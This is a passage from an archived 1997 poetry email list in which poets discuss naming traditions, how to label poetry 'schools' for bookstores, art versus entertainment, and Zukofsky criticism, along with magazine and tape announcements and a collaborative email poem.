That's hard. Too many wd say tradition is community, I think. (& innovation is tradition, too.) But I'm not clear on any of these terms & shd shut up.

Wendy

↑ Index

372. Rachel Loden
Re: Names
Tue 11 Feb 1997

Mark Weiss wrote:

> *Jews name their kids for dead people, but there's some latitude because of translation. Hebrew or Yiddish names tend to be identical with that of the deceased, but there's some slide when it comes into English. So I was named for my cousin Maurice who died as a baby the year before I was born.*

And Maria D. wrote:

"mark weiss: i love this kind of stuff. i have a friend who had a very difficult relationship w/ his cold, unloving mother. he ws the youngest of
a number of boys. when he asked once, in despair, why she had given birth
to him, she responded, your uncle so and so (lou, levy, something) died, so
we needed someone with an L-name."

Hmm, this unravels a mystery. Was always told by my father that I was named (in part) for my grandmother, who died when my father was seven. Since her American name was Rose, this never made a lot of sense till now. (Who knows what her name had been in Russia, where she was born.)

But there was also talk of my being named for a great great grandmother on my maternal side, Rachel Leet Wilson, who married Richard Harding and gave birth to Rebecca Harding (later Rebecca Harding Davis, author of _Life in the Iron Mills_, for you Am Lit trivia mavens).

Loden is a made-up name (1972 vintage). Long, exhausting story, as I'm sure is true of many (esp. women's) last names.

Rachel

↑ Index

373. **David Kellogg**
Re: Zones v. Zoos
Tue 11 Feb 1997

Ron,

Sorry -- sent that last message unfinished. Anyway, I hope it should be clear that I'm not trying to say _everything_ about the field, and that my model is meant to be comrehensive (toward comprehending) rather than totalizing. I'm most interested in the macro-effects of reading and evaluation. But I think things can work pretty well on a local level too. I think in fact that these abstractions, as poles of value, _do_ interpellate us, in a real sense. I won't argue with you about whether there is any such thing as Innovation (or tradition, or the self, or community for that matter); what I'm getting at is precisely the idea that these concepts exist as horizons in the contemporary construction of poetic value. Nor does it solve any of the problems you've addressed re: St. Marks Books, or the response to Leningrad. It _does_ suggest that the problems with the reception of Leningrad may have something to do with the inability of many readers to respond to work that partakes of -- actually creates -- a number of communities via collaboration and cross-national investigation and that _also_ appeals to an unstable sense of literary innovation.

One thing that I want to make clear is that this description is not evaluative, and that therefore it has nothing to say about whether this or that poet might be "too much in love with a certain codified sense of Beauty". On the other hand, it does suggest that the relative prominence of, say, Palmer among the people you mention may have to do with some critics' perception (misperception?) that he has _resolved_ some of the dichotomies between formal innovation and Beauty as an appeal to traditional (i.e., codified) standards. So one would have to work out reviewers' positive responses to Palmer and less positive responses to some of the others you've mentioned in terms of how they perceive the mechanisms of "transcendence" versus "contradiction." The difference between the androgyne and the hermaphrodite is a matter of such perceptual constructions.

One issue that your post raises is the question of groups. Now, I really don't have an interest in creating new groups per se, even if I had the power (don't). But how would groups be represented here? Seems to me that a group occupies a position in the field, but that that position is changeable in a variety of ways. For example, "Black Mountain" probably opens somewhere toward the right-hand corner of my model (tho it seems to me, in passing, that the anthology wars of the sixties suggest a conflation at the time of community/innovation and self/tradition as value-poles: the field almost loses a whole dimension). By the nineties, it has certainly moved "up," toward tradition, in the sense that an

engagement with BM can be seen as grappling with traditional forbears and through them, with Pound etc. It has also become more diffuse, wider, and by the same token individual poetic figures eclipse Black Mountain as such as points of alliance. What I mean is that it makes no sense on some level to call oneself a poet who learns from this "school", given the emergence of full-blown poetic careers in Olson, Duncan, Creeley, and related figures such as Jones/ Baraka, Levertov, even (god help us) Dorn, all of whom have more concrete meaning as points on the field right now. Where I would place this or that poet is not really the point. My placement would differ from yours; my reading of individual poems would change, depending on my own context of reading and development (I am not separate from the field, even as critic -- critical statements are themselves interventions and carry weight).

Gotta go bathe the baby. Picture's on my web site, if anybody's interested.

Cheers,
David
~~~
~~~

[redacted] University Writing Program
[redacted] Durham, NC 27708
FAX [redacted] http://www.duke.edu/~kellogg/

There is no mantle
and it does not descend.

-- Thomas Kinsella

↑ Index

375. **Franklin Bruno**

zones, etc.

Tue 11 Feb 1997

David Kellogg wrote:

> *What Rasula identifies as the MFA school corresponds more or less to a poetry predicated on uncomplicated representations of Self. Against this obviously is the poetry of social conflict, community building, identity politics, etc. Call the struggle between these two poles the horizontal (social) axis of the poetic field. Appeal to one or another of these sources of value has little to do with form as such.*

But how little? I would associate with Hejinian, Bernstein, and, a bit later, Leslie Scalapino, among many others, a position that would claim that formal issues have -a lot- to do with the way the self is constructed through the poem's formal strategies, the general idea being that fragmentation of the narrative (even the referential) effects of language serves to foreground the making-up-of the self from somehow analogous fragments. Maybe what I think is that the minute you talk about 'representations' (not just of Self) you're talking about, among other things, form. I'm sure that others here could put this more clearly/insightfully.

Also, Bill Manhire has come up here a couple of times. I highly recommend his witty collection of short stories, published in the U.S. as -The New Land- (can't recall the publisher, sorry). Are there any of his poems readily available in this country? The UCLA library has a selection of NZ poetry, but it peters out in the early 90's.

Finally, is no one here going to tell me how to contact Joel K. Meow? fjb

↑ Index

376. Dan Raphael Dlugonski
names and schools
Tue 11 Feb 1997

enjoying the parallel discs on names and poetry schools, arose by any other name, the power of labels aof names, numerologically and other logics.
to have a name to change.
to group under a name so as to better understand or at least contain.
as my own poetry cuts across lables, incorporates, a real eclecticism, a pastiche trying to organically combine. and poets i feel closest to dont let me in.
so we stride.
a name i'll never be called by.
my name the way a dog would say it.

↑ Index

377. Herb Levy
Re: Clothes Make the Man
Tue 11 Feb 1997

George,

No wonder you didn't get mugged. Dressed like that, people probably thought you were in one of Sun Ra's Astro-adjectival Arkestra's of the period.

> *Herb Levy (often seen on 5th and Seneca in Seattle in jodhpurs) reminded me of a trip I took to NYC in 1970, to hear Pharoah Sanders at Slugs's Bar. I thought I would just wear my regular clothes, so I wd appear hip and not get mugged. So I wore*
>
> *a toque (Canadian for knitted cap)*
> *a shirt made of some viscous material in green and black stripes*
> *a maroon sweater knitted by my mother*
> *a serge cape once worn by a City Of Westminster police constable*
> *yellow jeans*
> *logging boots*
> *big knitted red socks*
> *electricians gloves (you know, stripes of grey, red and blue*
> *long stringy hair*
> *a moustache*
> *dark glasses*
> *a cheapo cigar with a plastic tip*
>
> *I didnt get mugged. Not even an offer. Not even in front of Peace Eye Books.*

Herb Levy
[redacted]

↑ Index

378. Wendy Battin
Re: entertainment and pleasure
Tue 11 Feb 1997

The Collingwood formulation is that art requires discipline at the beginning and gives pleasure at the end, while entertainment requires no no discipline but gives no nourishment (fake fat? diet coke?) I like Bateson's formula better: that entertainment is the food of depression, the absence of joy that feeds the absence of feeling.

Wendy

On Tue, 11 Feb 1997, henry wrote:

> *entertainment = ethos(accepted values) + pathos(feeling) - logos(:meaningless)*
>
> *propaganda = pathos + logos(meaning/originality) - ethos(:false values)*
>
> *art = ethos + logos + pathos*
>
> *(courtesy of Aristotle)*
>
> *- Henry Gould*

---------- Wendy Battin (home)
http://camel.conncoll.edu/ccother/wjbat/ (CAPA)
http://shain.lib.conncoll.edu/CAPA/capa.html (Multiple Poetics)
http://www.geocities.com/SoHo/Lofts/5471/index.html

↑ Index

379. Stephen Vincent
Calling Interlochen MI
Tue 11 Feb 1997

I have a high school age student from California going back to Interlochen, MI. She's worked with writers here, has the bug etc. Could you please send name of any community oriented writing program/workshop in which she might participate before end of week. She's about to be, so to speak, "released." Wd be great if she had some stable lit support. Back channel will be appreciated.

Cheers,
Stephen Vincent
[redacted]

↑ Index

380. Brigham Taylor
Essex Hemphill
Wed 12 Feb 1997

on 7 Feb Aldon Nielson wrote:

Around the same time I received word that my old college mate Essex Hemphill, who published one of my first sorry poems in his journal _Nethula_, had died of AIDS -- Not long afterward I was told by a "scholar" in Los Angeles that the British author Essex Hemphill had passed away -- When I told him Essex was from DC, he said that he must have made the mistake because he'd seen Essex in a film by Isaac Julien -- but of course the film he had in mind was made by Marlon Riggs -- Hard to keep those Anglo-Afro-American-Gay-Writer-Filmpeople straight, eh?

Perhaps the confusion is due to the fact that Essex Hemphill appeared in both Marlon Riggs's "Tongues Untied" AND Isaac Julien's "Looking for Langston." In any event Essex's death is a major loss to poetry, queer studies, gay literature, African American literature, American literature, English language literature, and the planet in general.

↑ Index

381. George Bowering
Re: Names
Wed 12 Feb 1997

> *Imagine having the cosmic good fortune as a poet to be born a Wordsworth. db.*

Or Poe. The job fitted him to a T

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

382. David Bromige
door-darkening
Wed 12 Feb 1997

Chris, oh dear, no, dont think i meant anything. as i recall, i was listing names of poets whose readings at UNH i really enjoyed, and i was pointing out that each had some academic connections. . . . i was responding to someone on the list who had sd that academics (or some similar term) cldnt write poetry. And you see, i thought you taught or had taught college. It was the requirement of symmetry, to which i had obliged myself, that after each poet i named, there would be a parenthetic "Time magazine" phrase indicating that this one, too, had college connections ; i guess i picked "darkened doors" for you because i thot it wd amuse you, the campy melodrama of it. i never supposed you wd connect with it as my (or anybody i know's) honest opinion of you. it was flip, and i apologize if it has been disturbing you. You can darken m y door anytime you want, compadre. db

↑ Index

383. David Bromige
Telephone companies cashing in on the internet
Wed 12 Feb 1997

Dear listmembers: given the clout of phone companies, and given the times we live in, i should think they stand a good chance. i have written to [redacted],to let them know that i object to this proposed legislation. It would make e-mail unaffordable to me, and it would make me disinclined to play into the phone companies' hands by calling long-distance instead. I told isp that i would go back to snailmailing. And i would hope tens of thousands of others would do so. db

↑ Index

384. Chris Stroffolino
HOW BRIEF THE HUMAN SPAN....
Wed 12 Feb 1997

Today on east 13th
between first and second
(this seems childish)
I found many soggy and dusty
(not quite mildewed, musty)
copies of a literary magazine
called "feed"---
Issue 1 (fall 1993) and
the double issue, 2/3

I don't know if it still exists.
I didn't recognize the names of
any of the contributors
and didn't have time to
read any of the pieces.
I did however hear of De Boer
who distributed it
and Joey Ramone and David Trinidad
who are thanked or at least acknowledged
for being themselves.....
(Chris Stroffolino

↑ Index

385. **jdhollo**
Michael Coffey / poetry "schools"
Wed 12 Feb 1997

Michael,
the categories you suggest in your initial post sound good to me--with some exceptions:

Scratch "Language poets"--term meaningless to Barnes & Noble audience; Multicultural (not poetics--poetics is something else)--fine (and there's really no need to break that down0; spoken or performance poetry--why not simply Performance Poetry; St. Mark's of New York School--as with "Language," overly pseudo-specific; Formalist--old hat (= Old Hat, in fact, but you don't want that); same goes for "mainstream" etc.: why not Traditional, and Open Form; Classical--OK, I guess; Poetry in Translation --OK. So, then, this would be my list:

Traditional
Open Form
Multicultural
Performance
Classical
In Translation

The first four, of course, overlap in a multitude of ways, but a simple way to distinguish Trad from Open Form would be--for starters--to put the books reviewed in the New York Times, NY Review of Books, New Yorker, etc., in Trad, and then take a look at the rest.

Anselm Hollo

↑ Index

386. Miekal And
[Fwd: Re: Hullo hullo hullo]
Wed 12 Feb 1997

This is a multi-part message in MIME format.

not sure what the policy is about forwards, but I find both this list & some of its topics quite pertinent to poetics

m and

with NJE id 1539 for [redacted]; Wed, 12 Feb 1997
12:17:59 -0500
V1.2a/1.8a) with BSMTP id 2110; Wed, 12 Feb 1997 12:17:58 -0500
TCP; Wed, 12 Feb 97 12:17:57 EST
(8.8.5/8.6.6) with ESMTP id MAA01278 for <[redacted]>;
Wed, 12 Feb 1997 12:20:16 -0500 (EST)
id MAA14936 for [redacted]; Wed, 12 Feb 1997 12:20:06
-0500 (EST)
Date: Wed, 12 Feb 1997 12:20:06 -0500
From: "Mark E. Shoulson" <[redacted]>
Subject: Re: Hullo hullo hullo
To: Multiple recipients of list CONLANG <[redacted]>
([redacted])

> *Date: Wed, 12 Feb 1997 00:20:20 -0500*
> *From:* [redacted]
>
> *Oddly enough, I hardly ever use*
> *"million" or "billion" in a literal way, except when talking about stars*
> *or government spending. AFAIC, "billion" is just another word for*
> *"very large number, really beyond what I can actually comprehend,"*
> *whether it is an American billion or someone else's. :)*

cf. Lapine, the language of rabbits in Adams' _Watership Down_. Rabbits can't count higher than four, so anything more than that is "hrair", meaning "many," "a lot," often translated as "a thousand" (or occasionally "five").

~mark

----------4EAB5A4B4672--

↑ Index

387. Ron Silliman
A Lease on History
Wed 12 Feb 1997

Joe Lease queries:

> *I'd like to know if Ron Silliman agrees with Foucault that identity is plural and the purpose of effective history (counter history, radical history) is to dissipate it: this position is in severe conflict with Althusser*

Yes I do and no it's not. History doesn't have a "purpose." We might assign one, but that's another story.

Ron Silliman

↑ Index

388. **Bil Brown**
Re: Michael Coffey / poetry "schools"
Wed 12 Feb 1997

> *Traditional*
> *Open Form*
> *Multicultural*
> *Performance*
> *Classical*
> *In Translation*
>
> *Anselm Hollo*

Above all other things. I really have to agree with Anselm. The various "avant" names that are running around will not be of interest to most of *Publishers'* audience. Language is as poetry is, lingusts and poets are specialists that have a specialty audience (unfortunately) if we go into pseudonomous designations then we are losing the general reader.

I don't think we want to lose the general reader any more than we already have.

Bil Brown

↑ Index

389. **9448721p**
OBJECT PERMANENCE #8
Wed 12 Feb 1997

OBJECT PERMANENCE #8 is now available, featuring New Writing by Bruce Andrews, John M. Bennett, Andrea Brady, Adrian Clarke, Clark Coolidge, Peter Finch, Pierre Joris, Peter Middleton, Carlyle Reedy, Robert Sheppard, Fiona Templeton, Lawrence Upton/Bob Cobbing, and Johan de Wit.

Also 14+ pages of reviews (inc. primary trouble anthology, Raworth`s Clean And Well Lit, McCaffery`s The Cheat of Words, Jarnot`s Some Other Kind of Mission...) and listings.

Available from

Peter Manson
Flat 3/2, 16 Ancroft Street,
Glasgow
Scotland G20 7HU

Payment in UK by cheque/PO payable to Object Permanence, overseas by Sterling IMO if possible (orders in equivalent local currency are okay, but a Sterling draft drawn on a UK bank is best - we lose a lot on dollar cheques). stlg2.50 inc. postage in UK; stlg3 surface mail abroad; stlg4 airmail.

This is the FINAL issue of OBJECT PERMANENCE. Thanks to all those who contributed work or read the magazine. Contributors` copies are on their way.

↑ Index

390. henry gould
Re: poetry "schools"
Wed 12 Feb 1997

On Tue, 11 Feb 1997 15:35:18 -0500 Mark Prejsnar said:
To what extent is identifying nonmainstream
>trends, giving 'em labels & profiles, simply helping much of the book
>trade pinpoint what they don't want to stock, what won't help them in
>theri increasingly single-minded drive to maximize profits at the cost of
>social and cultural values?

The audience for poetry is small. Most of us would rather relax with a carefully-constructed (fictional) artificial paradise and a beer, than read some poverty-stricken poet's feeble translation of real paradise, drinking our cup of water with Milton.

There is a connection(s) between aesthetics and politics, but we might ask, what's criticism for? Baudelaire wrote a short essay on this in which he said that trying to follow the sober analytical critics to poetry is taking the long way around (if it's a way at all). Study, for the poet, he said, remains in the studio. The prime relation is between the artist and the audience. The honest critic will (paradoxically) partake of the enthusiasm and inspiration of the artist h/she critiques.

Poetry is a kind of human fire, but it's not spread by a new analytical approach to language or technique. It's imaginative fire (the longing for paradise)

tempered by experience (fire tempered by the sword). Pound was right, I think, to imagine that the potential for paradise on earth is reflected in the past, underneath all the tragedies and insanities. The age of gold is buried in the Gilded Age. - Henry Gould

↑ Index

391. Miekal And

more value here (we are entertainment now)

Wed 12 Feb 1997

Jordan Davis wrote:
>
> so is there are there an audience keeping score of these remarks.

the time of grasshoppers has come

> *sorry, this modem won't let me think --*

intelligence as in artificial

not our photographs, but the map,

old charms, unpaved roadways

> *is that how we are to be beautiful.*

standing for once against the dinner table

Now what is the zinfandel.

vitaceae

You are a
> really beautiful map.

unpaved charms, before there were roads

> *Why is it important to relax.*

Fidgetense.

I/They.

re:

Because
> nobody's driving the state brown decades.

Not to be outdone or incorporated

who can do the palace of those
> outside.

wait in line at the hempery, ladies with dogs

Pressure is substituted for a rain.

Detention for snow.

Close up and save your
> work the powers that acknowledge our shifts must give me a house I am
> interested.

Pottery has readings.

Helmet head.

List level.

Political nice guy, reprise your sleepy value. My
> name.

Or just turn off the damned TV.

Miekal And

--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

↑ Index

392. Mark W Scroggins
Re: entertainment and pleasure
Wed 12 Feb 1997

Mark W: actually, I'm not sure I wondered whether there was a "puritan strain" in yr. post, but rather suspected one--as I all too often suspect one in many poker-faced condemnations of maypoles and frolics--but your posting here does much to clarify what you said, and I agree with you here wholeheartedly. Yes, the LZ book is out and shd. be in stores as we speak. The main issues of Zukofsky criticism? 1) (really an issue of LZ scholarship)--to establish and get into print the texts themselves--the "A" we have is rife with typos, the Complete Short Poetry simply isn't complete and has its own textual problems, the Apollinaire book, "First Half of "A"-9," and "Arise, arise" are out of print. 2) to think about Zukofsky as a "usable past," as an influence on younger poets than him--everybody knows Creeley read LZ, Duncan read LZ, etc. etc., but no-one to my knowledge has thought really carefully about precisely what they learned from his work and where they took it--and this goes double for poets of the "language" generation, who were growing up reading LZ, many of them. I'm not talking simple influence study, but a thoughtful consideration of what remains

productive and instigative about the work, and what might have to somehow be relegated to the dustbin of "high modernist" practice. I realize this sounds pretty dry, but once I put on that critic's hat, I turn pretty dry... best, Mark S

On Tue, 11 Feb 1997, Mark Wallace wrote:

> *Hello Mark Scroggins:*
>
> *Good to hear from you on the list--I saw your announcement several weeks ago about your U-Alabama book on Zukovsky. Is the book now available?*
>
> *You ask me if there's a "puritan strain" in my critique of entertainment, and wonder what would happen if I had used the word "pleasure" instead of "entertainment"? But in fact the words seem to me CRUCIALLY DIFFERENT words. Actually, I don't think I rejected the notion of entertainment, but just the notion that EVERYTHING MUST BE ENTERTAINMENT when it is not economic work, and I think very clearly that it was the modern media environment suggests--there is a time for profit making, and a time for entertainment. But "entertainment" is only one aspect of pleasure, even of play--that there might be more complex elements of pleasure and play than that simply of casual entertainment is something that the modern media complex does not wish its subjects to know. Hey, I love entertainment, but not when it's the only kind of "pleasure" that's made widely available. I suppose entertainment does have its active elements, but a more thorough notion of play might suggest that play involves the ability to radically reformulate identity in the name of what gives pleasure, whereas entertainment represents the more limited notion of "relaxing"--i.e., taking time off from the labor that you have had at best limited choice in undertaking.*
>
> *Please excuse typos-this modem won't let me correct them today!*
>
> *Actually, Mark, on another subject--I'd be interested to hear a brief description of what you take to be the central issues to Zukovksy criticism at the moment. Yes, I'm sure it's in the book, but a preview here would be most welcome...*
>
> *mark wallace*
>
> */----------*
> *| |*
> *| [redacted] "I have not yet begun |*
> *| to go to extremes" |*
> *| GWU: |*
> *| http://gwis2.circ.gwu.edu/~mdw |*
> *| EPC: |*
> *| http://writing.upenn.edu/epc/authors/wallace |*

> |_____|

↑ Index

393. henry gould
review (very short)
Wed 12 Feb 1997

There must be something roughly paradise-like about Our World if there's a little press in the Canary Islands called Zasterle that publishes little books like the new _Light Street_ by Nick Piombino. I don't know who he is but he writes beautiful poems. Maybe somebody else can take a turn doing a review, this little book deserves one. I'd quote but I don't have it in front of me & I'm still reading it. I showed it to Savage Reader and even she was won over. (Jack Spandrift just snarled - but I think he's jealous.)

Nick Piombino, _Light Street_, Zasterle Press, 1997

- Henry Gould (chauffeur to Savage Reader)

↑ Index

394. Miekal And
manuel brito & zasterle
Wed 12 Feb 1997

Charles Alexander wrote:

> *I also love the "book-ness" of this book, its size and shape and other characteristics, and particularly the cover design by Rosa Ventura. But then I'm always taken by these Zasterle books put out by Manuel Brito.*

Manuel has been seemingly sending XE all of his titles as well, so have seen a wide selection of his very consistently delicious little books. When I get frustrated about distribution issues Im reminded of what he must feel like living there Tenerife, Canary Islands, & speaking only halting english, publishing a lot of american writers & trying to get those books around the states. Worthy of a few hoo-has anyway.

Miekal

↑ Index

395. **Christopher Alexander**
per-mail (Pear tree
Wed 12 Feb 1997

M writtererng:
> What I'm suggesting is a sort of e-mail exquisite corpse. I've seen as
> I expect you have those ones some websites have tried to initiate, and they
> are IMO by and large godawful.
really I love the one at EPC, especially when high school kids & the like get on there. its fascinating, the kind of stuff I would love to be able to include in my work from time to time but just cant produce--that clumsy sentiment in awkward lines. I'm reminded of Cage's story in SILENCE of being at a cocktail party where the host & hostess gave a wretched performance of the entire score of a second-rate operetta. there was a buddhist monk in attendance, & part-way through Cage looked over to see how he was taking it. as I recall, Cage says something like "The look on his face was beatific." you know, Duncan insists that there is no good or bad poetry. I'm not inclined to agree, but--well, it bears some thought. I mean, what one considers "le bad" has its uses & even a strange sort of beauty in the right context. I only wish I had earlier work (like from h-s) of this nature to draw from--forlorn love poems, poems addressing friendships in peril, that sort of thing. malheureusement, I was far more serious in that embarassing romantic sort of way--as I recall, my early notebooks are replete with the familiar awkward gestures of the Romantic--despair & solitude, phrases ending with "of emptiness", lots of "empty" & "emptiness" throughout--coupled, oddly enough, with infantile gestures of explicitly political rebellion which seem to range over all territories--facsism, marxism, even democracy movements. I distinctly remember being enamored of the graphic used by the american news media to signify the Polish democracy movement Solidarnosc (sorry no diacretc)--that sort of silk-screened looking red banner. too, I had read both The Communist Manifesto & parts of Mein Kampf by the end of 6th grade, with apparently little grasp of either outside of the rhetoric, & had an early fascination with the figure of Mussolini & the austere grandeur of fascist art & architecture. you can imagine the jumble all of these make in the notebooks. I havent looked at them in years--its amazing to me that I remember this much. I shall have to bring them back next time I head east, or maybe have them sent.

> I would suggest that this wordprocessing
> technology is geared to delete, not add, and so that aspect of the
> technology should be employed as well: namely, the proper e-corpse would
> involve each person both adding text and deleting the pre-existent text. We
> would have to develop a technique by which a certain portion of the
> "message" could be changed everytime, but some ever-growing part of it could
> not be changed. My reasoning for this being that if changes could always be
> made to the entire text, then the movement toward a settled and monologic
> voice would be more likely than if, as in the paper corpses, some part had
> to be left untouched every time.
yes yss I like this. we could do a collaborative project by email
with this sort of technique. one thing I should like to stipulate,
though, is that the length of the work be cut down considerably,
say, to 20 lines. this is simply because I will have to do my part
of the work (reading & manipulation) here at work, & with the
size of the samples youve sent thus far that would be unmanagable.

I'm wondering what kind of shape this method could take. I mean, if we have to start with smaller texts & delete, your suggestion of some kind of stricture for maintaining portions of those texts becomes crucial. one possibility might be simply an approximate ratio to be retained; for instance, we could establish that no more than 1/4 of the text may be changed in a sitting. further, I might suggest that no more than 1/4 of the already-transformed material be changed, if thats not too complicated. what wed have then is something like a diminishing realm of action, & that would also give us an established stopping point thats a bit more random than, say, an established number of rounds or entries per person. the changes may be hard to spot at times so of course I think these rules should be loose in their application, meaning I probably wouldnt challenge you if you were to make what might otherwise (in Monopoly) be thought of as an "illegal" move/change. hmm--strange thqt a sort of negative image of the rhetoric of gamesmanship should crop up here.

oh--make sure you cut off those little darts > each time you work on the poem--otherwise well accumulate too many. unless of course you want them as part of the work yr doing.

>Do you want me to send you that paperback book thing?
oh yes absolutely yes.

> Perhaps you knew all this!
no I'm afraid j & I are not in contact. this is not a source
of disappointment to me--we did have a sort of falling out,
though I couldnt attach an exact moment or event to that

feeling. I can say, though, that it had to do with her increasing
involvement with erin & gail--& her tendency to turn her
back on linda & I at parties & receptions where it would be
possible/more profitable to associate with them. partly that
has to do with friction [mildly] between linda & erin; partly
to do with j's--personality. in any case, I honestly dont have
much respect for her either as an artist or a person. knowing
as you do my poetry-poetics-politics, can you imagine j & I
across a table from one another, even over a guinness? & thats
not even considering the personal so-called baggage that
conversation would have to carry.

"oh, dont end so heavy" says.
well--heres my first cotntribuation
(I cut it to 20 printed lines if thats ok).
love c.

"Automata pense"

This is an automated ponse
to message Bravo,

T"techne" , changing time
but techne is not the thing. I usings (or his
                at the end (c'mon folks, you
can read

We are all immersed in a much deeper
"techne" -

Timeam reminded Proust mitt self

desolations/voids/returns
                tha Time brings.

Proust's narrator

he finds

his writerly
and the

creation
a SIMILAR sensation (not the same, but similar,

from the
ancient past, wechoing) brings memof his gigantic Oeuvof
in a particular effect of time:

↑ Index

396. Miekal And
Re: names and schools
Wed 12 Feb 1997

Dan Raphael Dlugonski wrote:

 and poets i feel closest to dont let
> me in.

now here's a familiar thread Im starting to hear over & over. which is the evidence to support interactivity & participation over yet another obvious form of class consciousness.

> *so we stride.*
> *a name i'll never be called by.*
> *my name the way a dog would say it.*

Dan, dont forget to pipe up about your longtime mag NRG, re linda russo, of maybe its not defunct yet?

miekal

↑ Index

397. Aldon L. Nielsen
Teaching Coalition Conference (fwd)
Wed 12 Feb 1997

---------- Forwarded message ----------
Date: Fri, 3 Jan 1997 08:32:52 -0800
From: Christine A. ASCHAN <[redacted]>
To: Multiple recipients of list <[redacted]>
Subject: Teaching Coalition Conference

****
* UC/CSU TEACHING COALITION CONFERENCE*
****

TEACHING THE HUMANITIES TODAY

On Friday, February 2l, faculty in the humanities from the University of California and the California State University will hold a conference to discuss common problems in teaching in the humanities. The conference has emerged from two exploratory meetings hosted by the Humanities Research Institute in 1995. It will take place at the Henry H. Huntington Library in San Marino, California; Robert Ritchie, the Library's Director of Research, and Professor of History at UCLA, will open the session.

The event is co-sponsored by the HRI and by the Division of Academic Affairs, Office of the Chancellor, California State University. William Weber, Professor of History at CSU Long Beach, has planned and organized the meeting. Faculty will come from campuses of the two systems to discuss issues involved in teaching popular culture, framing lower-division core programs, and making pedagogical uses of technology.

There is a $12 charge for lunch. If you are interested in attending, contact Bill Weber, [redacted], for further information.

****

Session I
10:00 a.m.-12:00 p.m.
****

POPULAR CULTURE IN THE CLASSROOM?

Chair: Aldon Nielsen, English, San Jose State University
Susan McClary, Musicology, UCLA
Robert Coleman, English, Sonoma State University
Peter Euben, Politics, UC Santa Cruz
Richard Simon, English, Cal Poly San Luis Obispo

****

Session II
1:30 p.m.-3:00 p.m.
****

TEACHING THE HUMANITIES AS A CORE

Chair: Dorothy Abrahamse, Dean, College of Liberal Arts, CSULB
John Smith, Director, UCI Humanities Core Curriculum
Brook Thomas, English, UCI
Les Adler, Director, Hutchins School of Liberal Studies, Sonoma State University

****

Session III
3:30 p.m.-5:00 p.m.
****

DISTANCE LEARNING: HOPES AND FEARS

Chair: Brian K. Smith, Religious Studies, UC Riverside
William Herbrechtsmeier, Religious Studies, CSU Humboldt
Katherine Hayles, English, UCLA
Walter Oliver, Spanish, CSU San Bernardino
Richard Hecht, Religious Studies, UCSB

↑ Index

398. Christopher Alexander
Re: Names are not Objects
Wed 12 Feb 1997

> how did you know the word 'bougie'?
> do you did they used to use candles to dilate body canals?
of course I know the word bougie, both of them.
dunno about the body canals--seems like a candle is
sort of--a hard surface. some damage could be done
if youre not careful--kids, dont try this at home.
..
christopher alexander, etc.
[redacted]

(Marriott Library Computer Systems)

↑ Index

399. Vincent S Gregory
LINEbreak
Wed 12 Feb 1997

>
>
>
> L I N E b r e a k
>
>
> _____
>
>
> The LINEbreak radio series with Charles Bernstein is now
> available on tape. Each tape contains two thirty-minute
> interview/performances. Cassettes are $11 plus shipping; DATs
  are $22 plus shipping.
>
>
> INTERVIEWS AND PERFORMANCES FROM THE LITERARY EDGE
> FROM FALL 1996:
>
>
> Tape one- Tape eight-
> A: Cecilia Vicuna A: Peter Straub
> B: Dennis Tedlock B: Peter Straub

>
> Tape two-
> A: Ray Federman
> B: Lance & Andrea Olsen
>
> Tape three-
> A: Ted Pearson
> B: Ken Sherwood & Loss Glazier
>
> Tape four-
> A: Lyn Hejinian
> B: Ron Silliman
>
> Tape five-
> A: Robert Creeley
> B: Robert Creeley
>
> Tape six-
> A: Jena Osman
> B: Fiona Templeton
>
> Tape seven-
> A: Steve McCaffery
> B: Steve McCaffery
>
> Tape nine-
> A: Carla Harryman
> B: Paul Auster
>
> Tape ten-
> A: Luci Tapahonso
> B: Bruce Andrews
>
> Tape elevan-
> A: Luci Tapahonso
> B: Ben Yarmolinsky
>
> Tape twelve-
> A: Karen MacCormack
> B: Ben Friedlander
>
> Tape thirteen-
> A: Barbara Guest
> B: Susan Howe
>
>
> The full set of 13 tapes is offered on cassette for $125 and on DAT for $260 (plus shipping).

U.S. residents add $3 for shipping. Non-U.S. residents add $5 for the 1 to 4 tapes and $12 for 5 or more tapes.

>
> Please include tape #('s) & make checks payable to Vincent S. Gregory. Send to UB English Department, ATT: Vincent Gregory, 302 Clemens Hall, SUNY @ Buffalo, Bflo., NY 14260.
>

↑ Index

400. Fred Muratori
Re: Michael Coffey / poetry "schools"
Wed 12 Feb 1997

The more I think about all this agony over categorization, the more I think we've strayed far from the original intent of Michael's posting, which I interpret as simply a call for a strategy to make bookstore managers/buyers aware of the range of poetry available to them, and disabuse them of the too-prevalent assumption that the only poetry worth stocking is what comes out of Norton, Knopf, and (if they're feeling really adventurous) Wesleyan and Pitt. I don't think it serves poetry's readership to subdivide via shelf labeling what are already pitifully small poetry sections in most bookstores; the interpretive spectrum of categories -- while interesting to discuss in a listserv -- is too large and abstract and overlapping to inflict on a readership that simply wants to browse and make its own decisions, thank you. The bookstore managers just need to be aware that Sun & Moon, Roof, O Books, Hard Press, etc. have readerships every bit as interested and devoted as any other literary press, and that the store is just as -- if not more -- likely to sell one or two copies of, say, Michael's book from Sun & Moon, as it is the latest Alice Quinn-annointed newcomer. It's not so much a question of educating poetry readers via shelf labels as it is educating poetry providers through articles in trade journals (like PW) which they as business professionals are required to read.

****
Fred Muratori "The spaces between things keep
([redacted]) getting bigger & more
Reference Services Division important."
Olin * Kroch * Uris Libraries - John Ashbery
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

↑ Index

401. Christopher Alexander
Re: poetry "schools"
Wed 12 Feb 1997

Mark Prejsnar wrought:
> To what extent is identifying nonmainstream
> trends, giving 'em labels & profiles, simply helping much of the book
> trade pinpoint what they don't want to stock, what won't help them in

> theri increasingly single-minded drive to maximize profits at the cost of
> social and cultural values?
I wasnt so much thinking active avoidance
[Pubwkly as "how not to shop"] as lack of interest--
from the pov of most bkstores, why seek new poetry
titles, especially work that challenges the mainstream?
but its the latter half of that question tells me youre
raising a very possibility. on the other hand, hell,
theyve avoided us this long without a guide simply by
not purchasing books from any of the relatively smaller
presses. so how much dmg could it really do to remind
them were here. I just dont expect it to do a lot of good,
either.

again, though I wnt to emphasize that this has a lot to
do with the way we buy poetry. if you have a good
local bkstore (not a chain), why not place some of yr
SPD orders through them? I'm as bad about this as
anybody--I love to have those packages come right to
my door. but if enough people do it, they might take a
hint(or a suggestion). & it goes without saying that
